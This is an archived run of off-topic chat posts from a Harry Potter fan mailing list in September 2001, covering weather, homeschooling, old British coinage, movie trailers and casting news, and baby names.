"Roses are red, violets are blue, honey is sweet, but not as sweet as you"   ____________________________________________________________Want to make friends in Europe and around the world? Then join my yahoo group!http://groups.yahoo.com/group/European_Friends

_______________________________________________________
Do You Yahoo!?
Get your free @yahoo.ca address at http://mail.yahoo.ca



From catlady at wicca.net  Fri Sep 28 02:50:04 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Fri, 28 Sep 2001 02:50:04 -0000
Subject: First snow
In-Reply-To: <9ovuem+fj1f@eGroups.com>
Message-ID: <9p0ogs+agep@eGroups.com>

--- In HPFGU-OTChatter at y..., pengolodh_sc at y... wrote:
> Had the weather-reoprt just now.  At home (whence I come - net where 
> I am right now), they ahd the first snowfall today.  It was enough 
> snow to build big snowmen and fight snowballl-wars.  It is now only 
> eight months until the snowing season is over....

Here in Southern California, Monday, Tuesday and Wednesday of this 
week had triple-digit highs (the high temperature of the day was 
barely 100F Downtown, somewhat cooler near the beach of course, and 
hotter on the desert) and I am VERY GLAD that today and the five-day 
forecast got down to highs in the 80s. I HATE heat. I HATE stepping 
out of a nice air conditioned bus or office building into an Oven! I 
*suppose* that they're telling the truth when they say that, contrary 
to my perception, we were blessed with an unusually cool summer this 
year (reducing the need for air conditioning, hence the need for 
electricity, thus making it possible for consumer conservation to 
eliminate rolling blackouts): there were very few days over 100F 
except in the desert.




From rosewoof at earthlink.net  Fri Sep 28 03:05:29 2001
From: rosewoof at earthlink.net (Rose Woofenden)
Date: Thu, 27 Sep 2001 20:05:29 -0700
Subject: [HPFGU-OTChatter] Re: Unsure About Home schooling
In-Reply-To: <9p0fq8+nkbd@eGroups.com>
References: <9ovs53+p3el@eGroups.com>
Message-ID: <5.1.0.14.0.20010927181300.009eb2a0@earthlink.net>

Suzanne wrote:
> >Often these kids were very bright and creative, with many great
>qualities, but I felt that in almost every case they had big, big
>problems which I felt came right out of the homeschooling process.
>Big bald patches in their knowledge, little exposure to different
>ways of life or new ideas, poor social skills.


I see what you mean about that. And I know it can be a problem. But I think 
that it would happen to some extent regardless of the child's schooling. 
There are big holes in public schoolers knowledge too, IMO.


> >The big problem that I saw again and again (and had to labor hard to
>fix)was simply a lack of intellectual independence. They were
>accustomed to the constant attention and guidance of their often very
>anxious parents ("Let me show you how to do that Merlin! Here's how
>we hold the brush... And here's the paper...") and were helpless to
>work on their own and figure things out for themselves.


I see how that could happen, but I think the majority of home schoolers are 
not that way. My family is *very* learn it yourself centered. If I don't 
know about something, my dad tells me to look it up. If I'm interested in 
doing something, *I* am the one who makes the phone calls and does the work 
to make it happen.  Sometimes it frustrates me, I get fed up with having to 
do everything myself. *But* I know that if I have to work to learn 
something, it is going to be more valuable, and I learn how to make things 
like that happen myself, without a parent doing anything for me.



> >I thought the parents meant well and had very strong convictions, but
>they effectively did TOO MUCH for their poor kids, and overwhelmed
>them with excessive direction. It took me forever to teach little
>Merlin how to look up a word in the dictionary without me keeping him
>company while he did it. It wasn't his fault-- that's just what his
>mother always did. She guided him through EVERYTHING.

Parents like that bother me... :-) It's just like "You are going to have to 
let your kid grow up sometime..."


> >One good thing about going to school is that it gives kids a chnace
>to get away from their parents and slowly learn how to function on
>their own.

Very true. I think it is good for kids to get a different point of view on 
life. I know people who home school who are VERY sheltered, and some who 
are not at all. But like I said before, I don't think it necessarily has to 
do with weather they home school or not.

Off to finish up the 250 pages of reading that I need to get done for my 
Lit class tomorrow.... (I can't even complain to my parents about it, 
because it was 100% my decision to take the class... :-))





-Rose


Current book:  The Iliad- by Homer
Current Song playing:  Eric Clapton- Layla
Last Words Spoken by me: Nothing worth mentioning









[Non-text portions of this message have been removed]




From gypsycaine at yahoo.com  Fri Sep 28 03:14:02 2001
From: gypsycaine at yahoo.com (Dee (Denise) R)
Date: Thu, 27 Sep 2001 23:14:02 -0400
Subject: Three shillings--for the UK'ers
References: <1001636688.2006.86059.m4@yahoogroups.com>
Message-ID: <01bd01c147cb$9ffd5f00$10ccfea9@ameritech.net>

For those who are in UK, I have a few questions for you.

First, do you guys still use shillings?  Second, if you can get your hands
on them, how much would it be to send me three shillings?? (shipping and
conversion)

It's for a fellow list-member, who's been lurking (old_evil_one; email:
old_evil_one at yahoo.com).

Thanks guys.

Dee



_________________________________________________________
Do You Yahoo!?
Get your free @yahoo.com address at http://mail.yahoo.com




From rosewoof at earthlink.net  Fri Sep 28 03:19:28 2001
From: rosewoof at earthlink.net (Rose Woofenden)
Date: Thu, 27 Sep 2001 20:19:28 -0700
Subject: [HPFGU-OTChatter] Re: Unsure About Home schooling
In-Reply-To: <9ou443+9msk@eGroups.com>
References: <9ou26d+sn3v@eGroups.com>
Message-ID: <5.1.0.14.0.20010927200708.009f4ec0@earthlink.net>

Jenny from Ravenclaw said:

>I, too am very unsure about homeschooling.  I may be biased because I
>am a public high school teacher, but I know personally I could never
>ever ever ever ever ever ever ever ever ever ever ever ever ever ever
>stay home all day with either or both of my parents.  I love my
>parents but even now as a 31 year old I can only take small doses; if
>I was a teenager I'd go mad being home with them every day.  I think I
>might have also been a bit biased because the only homeschooling
>situations I have heard of are parents who are fanatically religious
>and overprotective and want to teach their children a very narrow
>curriculum of subjects.


I understand what you mean about staying home with parents. Sometimes it 
can get to be a bit much. But having that time to spend has given me the 
chance to have a better relationship with them.  And especially at this 
point in my life, I am in no way staying home with my parents. I have a 
*very* busy life. I work two days a week at a local story/deli. I am gone a 
day and a half a week with the three classes that I've decided to take. I 
go to a youth group once a week, and am part of the band there. I find 
myself wishing for more time to spend at home with my parents!



>I can see the benefits of homeschooling; I love what both Amy and Rose
>said.  What about socialization?  Isn't it important for children to
>learn how to get along with their peers?  I always wondered how
>homeschooled children dealt with social situations as they got older.
>How do they date?  What is it like for them during their first year of
>college?  Is it hard to have jobs where supervisors expect certain
>hours after having such freedom and flexibility for so long?

Well, at least in my case, socialization has not been a problem. I am a big 
part of my church and youth group. I have many, many friends there, and 
have learned a lot about my peers that way.  For non-religious people, 
there are lots of home school groups, or other activity. My older brother 
wasn't part of my youth group at all, and didn't really have a lot of 
friends while he was living at home. Now he is at college, and is having no 
problems on the social end of things. When my sister went to college for 
the first time she didn't have a lot of problems. She was on Dean's list 
twice, had good grades, friends, etc. As for dating, I don't personally 
have experience, because I have decided not to date. (I feel that I don't 
want to get into that until I'm ready to get married, and I can have much 
better relationships with guys on the friendship level until then.) But I 
know home schoolers who date, and it isn't an issue. As far as jobs go, I 
have a job, I'm not having problems with that. But that is me. I can't 
speak for everyone.


>My point is that there are some alternative programs around that are
>much more flexible and attentive than your average public school,
>which is, IMO, like a combination jail/factory.  I'd like to hear more
>about homeschooling, though.  It sounds fun and rewarding the way it
>is described by Rose.

I think that for a lot of people, familys, etc. a school like that is what 
is needed. Some single parents can't stay home with their kids. And they 
need a school like that. That is great.  What is good for them may not be 
good for me, but if it works for them, that is great!



-Rose (who really better get her reading done, or she will be up until 
doomsday getting it done...)


Current book:  The Moon By Night- Madaline L'Engle
Current Song playing:  Stevie Wonder- I just called to say I love you.
Last Words Spoken by me: Nothing worth mentioning









[Non-text portions of this message have been removed]




From Schlobin at aol.com  Fri Sep 28 03:43:14 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Thu, 27 Sep 2001 23:43:14 EDT
Subject: God holds press conference
Message-ID: <6f.1b4b5269.28e54bd2@aol.com>

  <A HREF="http://www.theonion.com/onion3734/god_clarifies_dont_kill.html">
God Angrily Clarifies 'Don't Kill' Rule</A> 

      NEW YORK?Responding to recent events on Earth, God, the omniscient 
creator-deity worshipped by billions of followers of various faiths for more 
than 6,000 years, angrily clarified His longtime stance against humans 
killing each other Monday.

    
Above: God.  
      "Look, I don't know, maybe I haven't made myself completely clear, so 
for the record, here it is again," said the Lord, His divine face betraying 
visible emotion during a press conference near the site of the fallen Twin 
Towers. "Somehow, people keep coming up with the idea that I want them to 
kill their neighbor. Well, I don't. And to be honest, I'm really getting sick 
and tired of it. Get it straight. Not only do I not want anybody to kill 
anyone, but I specifically commanded you not to, in really simple terms that 
anybody ought to be able to understand."

 



From coriolan at worldnet.att.net  Fri Sep 28 04:03:43 2001
From: coriolan at worldnet.att.net (Caius Marcius)
Date: Fri, 28 Sep 2001 04:03:43 -0000
Subject: God holds press conference
In-Reply-To: <6f.1b4b5269.28e54bd2@aol.com>
Message-ID: <9p0sqv+b6m3@eGroups.com>

--- In HPFGU-OTChatter at y..., Schlobin at a... wrote:
>   <A 
HREF="http://www.theonion.com/onion3734/god_clarifies_dont_kill.html">
> God Angrily Clarifies 'Don't Kill' Rule</A> 
> 
>       NEW YORK??"Responding to recent events on Earth, God, the 
omniscient 
> creator-deity worshipped by billions of followers of various faiths 
for more 
> than 6,000 years, angrily clarified His longtime stance against 
humans 
> killing each other Monday.
> 
>     
> Above: God.  
>       only do I not want anybody to kill 
> anyone, but I specifically commanded you not to, in really simple 
terms that 
> anybody ought to be able to understand."


IIRC, the Hebrew word used in the Ten Commandments should be more 
accurately translated as "murder" (Thou shalt not murder). "Killing" 
during times of war, in defense of Israel, OTOH, is fully sanctioned 
by Hebrew Scripture. They don't call him the Lord of Hosts on account 
of his hospitality.

Saul killed a thousand
But David killed ten thousand 
   
   - I Samuel 29:5

Does that make David ten times worse? or ten times better?

  - CMC (listening to Havergal Brian's 4th Symphony, The Psalm of 
Victory - a choral setting of Psalm 68, a gloriously bloodthirsty 
amalgamation of music and text)






From neilward at dircon.co.uk  Fri Sep 28 05:03:56 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 28 Sep 2001 06:03:56 +0100
Subject: [HPFGU-OTChatter] Three shillings--for the UK'ers
References: <1001636688.2006.86059.m4@yahoogroups.com> <01bd01c147cb$9ffd5f00$10ccfea9@ameritech.net>
Message-ID: <006e01c147db$0f43dc40$1a3570c2@c5s910j>

Dee said:

<< For those who are in UK, I have a few questions for you. First, do you
guys still use shillings?  Second, if you can get your hands on them, how
much would it be to send me three shillings?? (shipping and conversion)

It's for a fellow list-member, who's been lurking (old_evil_one; email:
old_evil_one at yahoo.com). >>

Dee, what a strange request!  I'll certainly check my drawers for some old
coins on the off chance that there are shillings lurking therein.  I'm not
too sure I like the idea of sending money to someone called "old evil one",
however, but I won't ask <g>

The shilling was replaced exactly with the 5p (five pence) piece when we
changed to decimal coinage in the early 70s.  The first 5p coins were the
same size and general appearance as the old shilling, so the old shillings
counted as 5p for a while after.  They were later reduced in size so that
they could slip down the back of the sofa more easily.  The two shilling
piece, or half-crown, became the 10p piece in much the same way, and also
got downsized.

Neil (who remembers when pounds, shillings and pence were known as l-s-d.
No wonder the 60s were such a daze).





From jaffa276 at yahoo.co.uk  Fri Sep 28 09:26:28 2001
From: jaffa276 at yahoo.co.uk (Benjamin)
Date: Fri, 28 Sep 2001 09:26:28 -0000
Subject: Three shillings--for the UK'ers
In-Reply-To: <006e01c147db$0f43dc40$1a3570c2@c5s910j>
Message-ID: <9p1fo4+hq2v@eGroups.com>


> Neil wrote, in reply to the old evil one's assistant:
>The shilling was replaced exactly with the 5p (five pence) piece 
>when we changed to decimal coinage in the early 70s.  The first 5p 
>coins were the same size and general appearance as the old shilling, 
>so the old shillings counted as 5p for a while after.  They were 
>later reduced in size so that they could slip down the back of the 
>sofa more easily.  The two shilling piece, or half-crown, became the 
>10p piece in much the same way, and also got downsized.
> 

Hmmm, I think I have some shillings kicking around somewhere (though 
the new slip-down-the-sofa size was introduced about 1990?) but the 
two-shilling piece (later 10p) was a florin, not a half-crown.  The 
half-crown was 2/6 ('two and six') twelve pence in a shilling, so 2.5 
shillings (12.5p) to the half crown (four crowns to a pound); though, 
somewhat bizzarrely, the Irish pound coin is exactly the same size, 
shape and colour as the old half-crown (large, round and silver).  
Unfortunately this led to copious cheating of old blind priests - 
which are apparently endemic in Ireland, or so I am led to believe.

-Benjamin

Ps. So Lucy in the Sky with Diamonds was all about the money was it..?
Pps. Why does the old evil one want coins of the realm anyway? And 
would tanners do? :)




From blpurdom at yahoo.com  Fri Sep 28 11:09:38 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 28 Sep 2001 11:09:38 -0000
Subject: New ToGI Chapter (Psychic Serpent Sequel)
Message-ID: <9p1lpi+rfqj@eGroups.com>

The latest chapter of Harry Potter and the Time of Good Intentions is 
up at schnoogle!

Chapter Two: In Dreams

In which Harry has insomnia, Harry and Draco find out something about 
Sam, Ron gets Harry hacked-off big-time, Harry worries about Snape, 
Molly tells about the two little red-haired girls, and they all go to 
the station to get the train to school...or do they? 

http://www.schnoogle.com/authors/barb/TOGI02.html

Harry Potter and the Time of Good Intentions
(or: The Last Temptation of Harry Potter)
The sequel to Harry Potter and the Psychic Serpent: During his fifth 
year, Trelawney did a Tarot reading for Harry. She told him he would 
have to make a choice that could "change the world as we know it." At 
the beginning of his sixth year, Harry chooses, and the world
does change. Does it change for the better? If he wants, can Harry 
change it back? Or is giving Harry exactly what he wants Voldemort's 
ultimate revenge?

To get caught up on the beginning of the sequel, go to:

Chapter One: Sowing the Seeds

http://www.schnoogle.com/authors/barb/TOGI01.html

Enjoy!

--Barb





From neilward at dircon.co.uk  Fri Sep 28 12:17:15 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 28 Sep 2001 12:17:15 -0000
Subject: ADMIN: (ahem..yes) A note on quoting from URLs/other sources  
Message-ID: <9p1pob+b1v7@eGroups.com>

Dear list,

A rare ADMIN post here.  Just a reminder please to check the 
copyright on sources before quoting from them.  For example, The 
Onion website from which Susan quoted does not permit reproduction of 
its content, even in part, regardless of whether or not the URL is 
cited.

Citing a URL (website address) with an indicative note is always fine.

Thanks for your cooperation.

As you were...

Neil/FFA





From salter15 at yahoo.com  Fri Sep 28 12:37:48 2001
From: salter15 at yahoo.com (Janet)
Date: Fri, 28 Sep 2001 12:37:48 -0000
Subject: HP Movie
Message-ID: <9p1qus+n386@eGroups.com>

I hope this falls under the realm of OT Chatter, it wasn't listed on 
the home page, but I just wanted to comment on the 2 previews for the 
HP movie I saw last night.  While watching the NBC Thursday night 
line up I saw 2 different previews and all I can say is HURRY UP 
NOVEMBER 16TH!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

Ok sorry, I know there are a lot of people out there who don't want 
to risk seeing this because it will taint their own visions of the 
book, but with JK working hand and hand and being very picky about 
details I think this movie is going to rock!!!

Thanks for listening to me,

Janet




From neilward at dircon.co.uk  Fri Sep 28 13:05:26 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 28 Sep 2001 13:05:26 -0000
Subject: Three shillings--for the UK'ers
In-Reply-To: <9p1fo4+hq2v@eGroups.com>
Message-ID: <9p1sim+6hot@eGroups.com>

Benjamin said:

<< the two-shilling piece (later 10p) was a florin, not a half-
crown.  The half-crown was 2/6 ('two and six') twelve pence in a 
shilling, so 2.5 shillings (12.5p) to the half crown (four crowns to 
a pound);  >>

Oh yes, you're right.  That was a mixture of being too young to 
remember that and being too old to remember that.  

It wasn't the LSD, I swear


Neil






From bray.262 at osu.edu  Fri Sep 28 09:22:40 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 28 Sep 2001 09:22:40 EST5EDT
Subject: last night
Message-ID: <3F07D16905@lincoln.treasurer.ohio-state.edu>

I saw two different Harry Potter trailers last night.  The 
one during Friends and the one during ER (how jerky are 
Carter's parents....geez!).  I loved it how they used the 
music from Dragon:The Bruce Lee Story for the one trailer 
of all the scenes from the different trailers smooshed 
together.  That's one of my favorite pieces of music but it 
does seem to be used quite a bit for movie trailers on TV.

Anyway.....

Is it just me or has anyone else pictured a Quidditch field 
much different than the one in the movie?  I guess being an 
American I automatically pictured a football-like field.  
Oh well.  I'm so excited about seeing the Quidditch games 
that I really couldn't care less how the field looks.  :-)

48 days to go!

By the way, wasn't the third Lord of the Rings trailer 
incredible?!  WOW.  "If you want him, come and claim him!" 
Heeeeeee!

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From bray.262 at osu.edu  Fri Sep 28 09:25:13 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 28 Sep 2001 09:25:13 EST5EDT
Subject: Empire Onlline article 
Message-ID: <3F125D59A5@lincoln.treasurer.ohio-state.edu>

http://www.empireonline.co.uk/news/news.asp?3422

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From bray.262 at osu.edu  Fri Sep 28 10:00:46 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 28 Sep 2001 10:00:46 EST5EDT
Subject: Weird article
Message-ID: <3FAA570A2D@lincoln.treasurer.ohio-state.edu>

There's an article scanned and posted on Theonering.net 
about Harry vs. Lord of the Rings.  I thought it was 
strange.  "vs"?  Why in the world would someone even 
compare the two?  I guess the magic connection but that's 
the only thing in common, I'm thinking.  Well....and 
Ultimate Good vs. Ultimate Evil but you could then try to 
compare Harry to Star Wars, too.  If I had to pick between 
the two I'd pick Harry but that's because there are too 
many scenes in LOTR that just drag on and on and the song 
parts drive me nuts.  :-)

Anyway, here's the article.

http://www.theonering.net/perl/newsview/8/1001636878

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From inviziblegirl at hotmail.com  Fri Sep 28 14:16:16 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Fri, 28 Sep 2001 10:16:16 -0400
Subject: [HPFGU-OTChatter] Weird article
Message-ID: <F3ahl9UaRm5Zi37r8RY0000d8ca@hotmail.com>


>From: "Rachel Bray" <bray.262 at osu.edu>
>
>There's an article scanned and posted on Theonering.net
>about Harry vs. Lord of the Rings.
<snip>
>Anyway, here's the article.
>
>http://www.theonering.net/perl/newsview/8/1001636878

Ergh, another case of "The Reporter Doesn't Know The Book". In the article, 
they say "No Bruce Willis, our Harry. Blowing up his fat nephew Dudley and 
turning him into a pig is about as wicked as he gets." Er, yeah, Dudley 
wasn't "blown up", Marge was. And Dudley wasn't turned into a pig, he was 
given a pig tail by Hagrid. *sighs* There's other mistakes in the article 
but I've got to get back to work!

~Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain


_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From aiz24 at hotmail.com  Fri Sep 28 16:12:48 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 16:12:48 -0000
Subject: Weird article
In-Reply-To: <F3ahl9UaRm5Zi37r8RY0000d8ca@hotmail.com>
Message-ID: <9p27i0+f7op@eGroups.com>

Amber wrote:
 
> Ergh, another case of "The Reporter Doesn't Know The Book". In the 
article, 
> they say "No Bruce Willis, our Harry. Blowing up his fat nephew 
Dudley and 
> turning him into a pig is about as wicked as he gets." Er, yeah, 
Dudley 
> wasn't "blown up", Marge was. And Dudley wasn't turned into a pig, 
he was 
> given a pig tail by Hagrid. 

And he isn't Harry's nephew.  It's rather hard to acquire a nephew 
when you're an only child and not married.

There are so many HP lovers in the world who would be happy to write 
an article--why would an editor assign an HP story to someone so 
clueless?

Amy
volunteering for the job




From inviziblegirl at hotmail.com  Fri Sep 28 17:04:50 2001
From: inviziblegirl at hotmail.com (Amber ?)
Date: Fri, 28 Sep 2001 13:04:50 -0400
Subject: [HPFGU-OTChatter] Re: Weird article
Message-ID: <F143pemm000pmLD6YC80000c1fc@hotmail.com>


>From: "Amy Z" <aiz24 at hotmail.com>
>
>And he isn't Harry's nephew.  It's rather hard to acquire a nephew
>when you're an only child and not married.

Oh feh, how did I miss that one? I guess nephew just didn't register. Maybe 
my brain thought "Hey, no one could possibly be as dumb to write that Dudley 
is Harry's nephew, the eyes must not be working right, I'll just substitute 
cousin in for nephew".

Darn brain for making decisions without me...

~IndependentBrain!Amber

********
http://www.the-tabula-rasa.com
Updated 9/03/01

"Make me sad, make me mad, make me feel alright?"
- Serial Experiments Lain



_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp




From neilward at dircon.co.uk  Fri Sep 28 17:39:00 2001
From: neilward at dircon.co.uk (Neil Ward)
Date: Fri, 28 Sep 2001 17:39:00 -0000
Subject: Stillness (was Re: Home Schooling - now also long)
In-Reply-To: <9os7v5+sqv9@eGroups.com>
Message-ID: <9p2cjk+g6hb@eGroups.com>

David said:

<< When we lived in London, my children went to a racially and 
culturally fairly mixed primary school in Lewisham (Stillness, Neil, 
do you know it?), with British white, black (as well as W Indian and 
African), Turkish, Pakistani, Greek, Chinese and others (still fairly 
unexciting compared to, say, Southall). >>

Stillness is an oddly inappropriate name for a place so full of noise 
and life, isn't it?  I don't know it.  On the one hand that's 
understandable, as I'm a childless bachelor, but on the other hand 
I'm a member of Lewisham People's Panel - a representative group of 
1,000 residents who act as a sounding board for the Council - and I 
do get asked to comment on the state of schools, hospitals and cracks 
in the pavement, so I *might* have heard of it.

Lewisham is rather a dull place to live, but it is culturally diverse 
and the Council is quite effective as councils go.  

This adds nothing whatsoever to the home schooling debate, but I can 
imagine that home schooling is not that common over here and probably 
negligible in my Borough.    

Neil (who should just have answered "No" shouldn't he?)






From catherine at cator-manor.demon.co.uk  Fri Sep 28 17:55:03 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Fri, 28 Sep 2001 17:55:03 -0000
Subject: Weird article
In-Reply-To: <3FAA570A2D@lincoln.treasurer.ohio-state.edu>
Message-ID: <9p2dhn+95lo@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> There's an article scanned and posted on Theonering.net 
> about Harry vs. Lord of the Rings.  I thought it was 
> strange.  "vs"?  Why in the world would someone even 
> compare the two?  I guess the magic connection but that's 
> the only thing in common, I'm thinking.  Well....and 
> Ultimate Good vs. Ultimate Evil but you could then try to 
> compare Harry to Star Wars, too.  If I had to pick between 
> the two I'd pick Harry but that's because there are too 
> many scenes in LOTR that just drag on and on and the song 
> parts drive me nuts.  :-)
> 
> Anyway, here's the article.
> 
> http://www.theonering.net/perl/newsview/8/1001636878
> 
> Rachel Bray


Hear, hear!  See, I know how to use it properly now.  I'm probably 
repeating myself, but I agree with you about LOTR.  I always skip the 
songs, and the third book drives me nuts.  I've tried countless times 
to get through it, and always end up skipping to the end when they 
return to the Shire.

Catherine




From bray.262 at osu.edu  Fri Sep 28 14:48:33 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 28 Sep 2001 14:48:33 EST5EDT
Subject: No Hugh Grant.  :-(
Message-ID: <44767F6800@lincoln.treasurer.ohio-state.edu>

Looks like Hugh had to bail on Harry Potter 2.

http://www.empireonline.co.uk/news/news.asp?3424

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From bray.262 at osu.edu  Fri Sep 28 14:59:03 2001
From: bray.262 at osu.edu (Rachel Bray)
Date: Fri, 28 Sep 2001 14:59:03 EST5EDT
Subject: Weird article
Message-ID: <44A2CB32C4@lincoln.treasurer.ohio-state.edu>

You know....I just reread it after reading some of the 
bloopers that you've posted here....

Good gravy!  Doesn't ANYONE read the book before they go 
spouting off "facts"?  Geesh.

Oh well.  

Rachel Bray
The Ohio State University
Fees, Deposits and Disbursements

For America means a bit more than tall towers, 
It means more than wealth or political powers, 
It's more than our enemies ever could guess, 
So may God bless America! Bless us! God bless! 



From john at walton.to  Fri Sep 28 19:16:32 2001
From: john at walton.to (John Walton)
Date: Fri, 28 Sep 2001 20:16:32 +0100
Subject: [HPFGU-OTChatter] Re: First snow
In-Reply-To: <9p0ogs+agep@eGroups.com>
Message-ID: <B7DA8B20.1D4A%john@walton.to>

Here in St Andrews, of course, it was raining. All. Day. Hard. Windy too.

Bleh.

--John
____________________________________________

*"Quidditch Through The Ages" by Kennilworthy Whisp: 14 Sickles 3 Knuts
*New Firebolt Broom: just over 100 Galleons
*Watching Draco Malfoy being bounced up and down
after being turned into a ferret: Priceless

The best things in life are free. For everything else, there's Harry Potter.

John Walton -- john at walton.to
____________________________________________




From hettick.1 at osu.edu  Fri Sep 28 19:47:29 2001
From: hettick.1 at osu.edu (Heather Hettick)
Date: Fri, 28 Sep 2001 15:47:29 -0400
Subject: Baby Names
In-Reply-To: <1001501950.680.26393.l10@yahoogroups.com>
Message-ID: <NDBBLGKHGLCIANICKAJCKEMKDGAA.hettick.1@osu.edu>

David wrote:

<<Er, maybe this is one of those UK/US culture things, but why can't
you just ditch the family tree and agree to use names you *both*
like?  Or did Bryce already suggest that?>>

I don't think it's a culture thing other than maybe an individual family
culture thing.  My sister married a Paul III and her son is IV.  They named
their second son after my Dad and have girls names all picked with family
themes too in case they decide to have a third and it's a girl.  My other
sister just married a German man whose middle name is the same as his
father's first name, but they aren't ready to have kids just yet so I don't
know what they'll do.  The three of us have names that are unrelated to any
family history, and based on most of my older relatives names, I'm very
glad.

My husband and I prefer original names, ones with no family or connotations
of people we know well.  The only family inference we have is our kids will
have my maiden name as their middle names.  My husband's name is Kelly and
he gets phone calls and mail addressed to Ms. Kelly Hettick and doesn't like
having to deal with all that so he didn't want to do it to his kid.  Our
daughter is Jade McManus Hettick and we are still negotiating on what our
son (due this December ) will be called.  Kelly doesn't like really common
names and I don't like names that are too unusual for boys.  So far, the
closest to agreement we have come is Alexander, although it's a bit more
common than he'd like.  He's still trying to convince me about Seth or
Sebastian, and I don't care for either.

I really tried for "Harry" with my daughter's help, but that one didn't fly
at all.  My daughter's other name choice is Josephine, after her
great-grandmother who died this spring, because she likes the sound of the
name and really wants her baby brother to be a girl anyway.  Ultrasounds can
be wrong, so it's still a possibility.

Heather Hettick




From magpie1112 at yahoo.com  Fri Sep 28 20:10:42 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Fri, 28 Sep 2001 20:10:42 -0000
Subject: No Hugh Grant.  :-(
In-Reply-To: <44767F6800@lincoln.treasurer.ohio-state.edu>
Message-ID: <9p2lg2+305l@eGroups.com>

--- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> Looks like Hugh had to bail on Harry Potter 2.
> 
> http://www.empireonline.co.uk/news/news.asp?3424
> 
> Rachel Bray


Oh Rachel, that stinks!!!  And I had just received an e-mail from the 
Daily Mail saying he was a definite!  Oh well.  I'm rooting for Hugh 
Laurie or Robert Bathurst.  Sigh.

- Denise




From linman6868 at aol.com  Fri Sep 28 20:26:04 2001
From: linman6868 at aol.com (L. Inman)
Date: Fri, 28 Sep 2001 20:26:04 -0000
Subject: That Naughty Ford Anglia
Message-ID: <9p2mcs+ss38@eGroups.com>

Hello --

I've been refreshing my spirit today with my copy of Richard 
Lederer's BRIDE OF ANGUISHED ENGLISH, and came upon this tidbit of a 
newspaper gaffe:

"The witness reported that he observed sex taking place between two 
parked cars."

Neil.  Have you been getting into trouble?

Lisa I.




From blpurdom at yahoo.com  Fri Sep 28 20:41:59 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Fri, 28 Sep 2001 20:41:59 -0000
Subject: No Hugh Grant/Weather
In-Reply-To: <9p2lg2+305l@eGroups.com>
Message-ID: <9p2nan+iqjm@eGroups.com>

--- In HPFGU-OTChatter at y..., magpie1112 at y... wrote:
> --- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> > Looks like Hugh had to bail on Harry Potter 2.
> > 
> > http://www.empireonline.co.uk/news/news.asp?3424
> > 
> > Rachel Bray
> 
> 
> Oh Rachel, that stinks!!!  And I had just received an e-mail from 
the 
> Daily Mail saying he was a definite!  Oh well.  I'm rooting for 
Hugh 
> Laurie or Robert Bathurst.  Sigh.
> 
> - Denise

::sigh:: Cary Elwes isn't one of the options in the poll...

But as to weather, here in Philadelphia, it's bright and sunny, just 
a little breezy and a lovely 65 F.  Perfect autumn day, and the 
leaves are just starting to be touched with color...

--Barb





From magpie1112 at yahoo.com  Fri Sep 28 21:12:17 2001
From: magpie1112 at yahoo.com (magpie1112 at yahoo.com)
Date: Fri, 28 Sep 2001 21:12:17 -0000
Subject: No Hugh Grant/Weather
In-Reply-To: <9p2nan+iqjm@eGroups.com>
Message-ID: <9p2p3h+eq4n@eGroups.com>

--- In HPFGU-OTChatter at y..., blpurdom at y... wrote:
> --- In HPFGU-OTChatter at y..., magpie1112 at y... wrote:
> > --- In HPFGU-OTChatter at y..., "Rachel Bray" <bray.262 at o...> wrote:
> > > Looks like Hugh had to bail on Harry Potter 2.
> > > 
> > > http://www.empireonline.co.uk/news/news.asp?3424
> > > 
> > > Rachel Bray
> > 
> > 
I'm rooting for Hugh Laurie or Robert Bathurst.  Sigh.
> > 
> > - Denise
> 
> ::sigh:: Cary Elwes isn't one of the options in the poll...
> 
> But as to weather, here in Philadelphia, it's bright and sunny, 
just a little breezy and a lovely 65 F.  Perfect autumn day, and the 
> leaves are just starting to be touched with color...
> 
> --Barb


Sounes like a lovely day to stroll South Street - I'm so jealous!!!  
The weather is very much the same here in DC.  Perhaps I'll do the 
museum-thing tomorrow....

- Denise (who thinks she needs a cute new sweater for the season)




From john at walton.to  Fri Sep 28 21:12:31 2001
From: john at walton.to (John Walton)
Date: Fri, 28 Sep 2001 22:12:31 +0100
Subject: [HPFGU-OTChatter] Re: No Hugh Grant.  :-(
In-Reply-To: <9p2lg2+305l@eGroups.com>
Message-ID: <B7DAA64F.1D80%john@walton.to>

